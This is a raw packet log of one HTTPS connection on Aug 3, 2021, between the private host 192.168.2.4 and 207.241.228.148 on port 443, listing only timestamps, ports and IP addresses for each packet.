Aug 3, 2021 20:39:43.578278065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578319073 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.578421116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578475952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578497887 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.578551054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578607082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578629971 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.578701019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578789949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578844070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578865051 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.578922987 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.578950882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579004049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579050064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579102993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579149961 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.579205036 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.579241991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579303026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579344988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579380989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579420090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579451084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.579502106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579562902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579621077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.579643011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579701900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579762936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579777002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.579833984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579883099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.579914093 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.579950094 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.579997063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.580049992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.580095053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.580121994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.580149889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.580163956 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.580212116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.580221891 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.584373951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.606522083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.606594086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.606673956 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.658498049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.658551931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.658714056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.722569942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759754896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759780884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759792089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759820938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759835958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759857893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759874105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759890079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759905100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759916067 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.759939909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759952068 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.759967089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.759984016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760020018 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760035038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760050058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760065079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760080099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760102034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760107040 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760126114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760143995 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760152102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760168076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760184050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760199070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760219097 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760234118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760241985 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760257006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760272026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760283947 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760297060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760308027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760324955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760335922 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760349989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760366917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760389090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760395050 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760412931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760430098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760446072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760461092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760468006 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760483980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760498047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760515928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760520935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760536909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760552883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760567904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760579109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760593891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760605097 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760617018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760632038 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760648966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760654926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760669947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760677099 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760691881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760703087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760714054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760725975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760740995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760751963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760761976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760773897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760791063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760804892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760819912 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760832071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760839939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760859013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760874987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760881901 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760896921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760907888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760922909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760938883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760955095 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760960102 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.760977983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.760986090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761003971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761019945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761038065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761043072 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761056900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761064053 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761079073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761096954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761101961 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761116982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761131048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761137962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761157036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761168957 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761183977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761198997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761218071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761253119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761272907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761291027 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761300087 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761322021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761337042 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761344910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761357069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761367083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761383057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761399031 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761405945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761420965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761435032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761450052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761456966 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761471987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761481047 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761497021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761504889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761521101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761535883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761550903 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761565924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761580944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761598110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761601925 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761616945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761631966 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761641026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761656046 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761667013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761682034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761696100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761710882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761719942 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761733055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761746883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761754990 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761769056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.761785030 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.761801958 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.763750076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.763765097 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.763834953 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.786314964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.786343098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.786406994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.838618040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.838651896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.839561939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.941590071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941626072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941653013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941682100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941708088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941731930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941751957 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941770077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941786051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941803932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941824913 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.941842079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941860914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941869974 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.941888094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941904068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941911936 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.941930056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941950083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941956043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.941977024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.941998005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942017078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942033052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942047119 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942059994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942076921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942085028 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942102909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942120075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942128897 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942145109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942163944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942169905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942190886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942199945 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942217112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942234993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942251921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942260027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942280054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942296028 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942312956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942333937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942353964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942369938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942375898 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942393064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942414045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942419052 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942445040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942450047 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942470074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942487001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942502975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942518950 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942528009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942545891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942553997 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942570925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942579031 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942595005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942611933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942629099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942640066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942656994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942672968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942677975 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942693949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942711115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942730904 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942754030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942785025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942801952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942827940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942857981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942888021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942917109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942939043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.942964077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.942998886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943012953 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943047047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943078041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943106890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943162918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943171978 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943207026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943239927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943258047 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943284988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943314075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943337917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943367958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943382978 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943407059 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943432093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943464994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943481922 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943512917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943548918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943563938 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943595886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943628073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943644047 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943671942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943703890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943728924 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943747044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943774939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943802118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943816900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943849087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943871975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943901062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943917990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943937063 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.943960905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.943990946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944019079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944045067 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944063902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944082022 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.944107056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944138050 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944166899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.944200993 CEST	443	49756	207.241.228.148	192.168.2.4
